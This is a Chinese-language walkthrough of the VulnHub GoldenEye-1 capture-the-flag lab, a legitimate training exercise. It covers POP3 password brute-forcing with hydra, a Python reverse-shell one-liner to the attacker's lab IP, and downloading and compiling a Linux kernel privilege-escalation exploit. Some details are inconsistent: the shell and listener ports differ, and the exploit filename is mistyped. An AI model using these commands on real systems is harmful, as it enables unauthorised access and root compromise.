zoukankan      html  css  js  c++  java
  • VulnHub-GoldenEye-1 靶场渗透测试笔记

    VulnHub-GoldenEye-1 靶场渗透测试笔记

    参考地址:https://www.freebuf.com/articles/web/260592.html
    靶场信息:
    地址:https://www.vulnhub.com/entry/goldeneye-1,240/
    发布日期:2018年5月4日
    目标:得到root权限并且找到flag.txt
    难度:中级(CTF)

    一、信息收集
    1.主机发现
    nmap -sP 192.168.1.0/24
    nmap -sS -p80 192.168.1.0/24 //半连接扫描
    2.端口扫描
    nmap -sS -sV -T5 -A -p- ip //攻击模式
    3.
    echo "natalya boris" > user.txt //快速写入文件

    4.
    hydra命令参数 //九头蛇,爆破工具
    -s:指定端口
    192.168.1.170:ip地址不加参数 直接写
    pop3:服务名字不加参数 直接写
    -L:字典文件
    -v:显示详细信息
    hydra 192.168.1.169 -s 55007 pop3 -L user.txt -P /usr/share/wordlists/fasttrack.txt -v

    这里我遇到一个坑,-L 大写的L是指一个文件,小写的l 是指定一个用户名。

    5.
    使用nc连接pop3服务,登录这两个账号查看邮箱里面的邮件信息

    命令:nc 192.168.1.170 55007
    user boris 登录用户名
    pass secret1! 登录密码
    list 查看邮件列表及邮件大小
    retr m 查看第m个邮件内容
    quit 退出

    6.设置系统hosts文件 设置域名和ip 绑定
    /etc/hosts.

    7.分析图片
    使用strings 查看图片信息
    也可以使用exiftool工具查看图片
    例:strings 图片路径

    8.使用wappalyzer 插件进行信息收集
    得到的信息有cms类型与版本moodle 2.2.3,
    这个挺有用的

    二、漏洞探测
    在exploit-db 搜索到相关远程命令执行漏洞
    在msf 中搜索moodle漏洞,命令:
    msf> search moodle
    发现有远程命令执行漏洞CVE-2013-3630
    需要注意,msf版本过高,在这里会利用识别,有可能是msf会自动把域名转换为ip
    searchsploit moodle //这个应该也可以

    三、漏洞利用
    这里利用python 反弹shell,
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.28",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    远控端:
    nc -lvp 4444
    当我运行id命令时,它表明该用户不是root用户,这是www-data的低特权用户

    接收到shell后:
    使用ptyhon获得tty,不然有些命令无法执行
    python -c 'import pty; pty.spawn("/bin/bash")' //有时候不用也可以吧

    四、提权
    1.根据前面得到的内核版本在exploit-db搜索exp(与MSF的shell里面提权操作一样)
    uname -a //查看内核
    命令:searchsploit Linux ubuntu 3.13.0
    前往payload 的地址:cd /usr/share/exploitdb/exploits/+(payload后面的地址)
    这里利用 linux/local/337292.c 这个payload

    2.在kali 里面搭建http 服务进行exp文件传输
    python -m http.server 8000

    3.在反弹的shell 中切换到 tmp 目录进行操作
    tmp目录权限高,为777 方便读写

    4.下载exp

    www-data@ubuntu:/$ cd /tmp
    www-data@ubuntu:/tmp$ gcc -v 报错说明没有gcc编译器
    www-data@ubuntu:/tmp$ cc -v 存在cc编译器

    由于exp里面使用gcc 编译,所以修改一下,将37292.c中的gcc改为cc
    下载:
    wget http://192.168.31.28:8000/37292.c
    编译:
    cc 37292.c -o 37292 //-o 输出名字
    ./37292 //开始运行即可提权成功

    五、flag
    cd /root //一般都在root目录下
    ls //没有发现flat
    ls -al //列车所有文件

  • 相关阅读:
    Spring shiro 初次使用小结
    Spring data Redis
    Redis 学习相关的网站
    Spring依赖注入 — util命名空间配置
    添加至数据库的中文显示问号
    freemarker的classic_compatible设置,解决报空错误
    HTTP协议
    Maven添加本地Jar包
    java中的字符串分割函数
    读取文件方法大全
  • 原文地址:https://www.cnblogs.com/trevain/p/14361730.html
Copyright © 2011-2022 走看看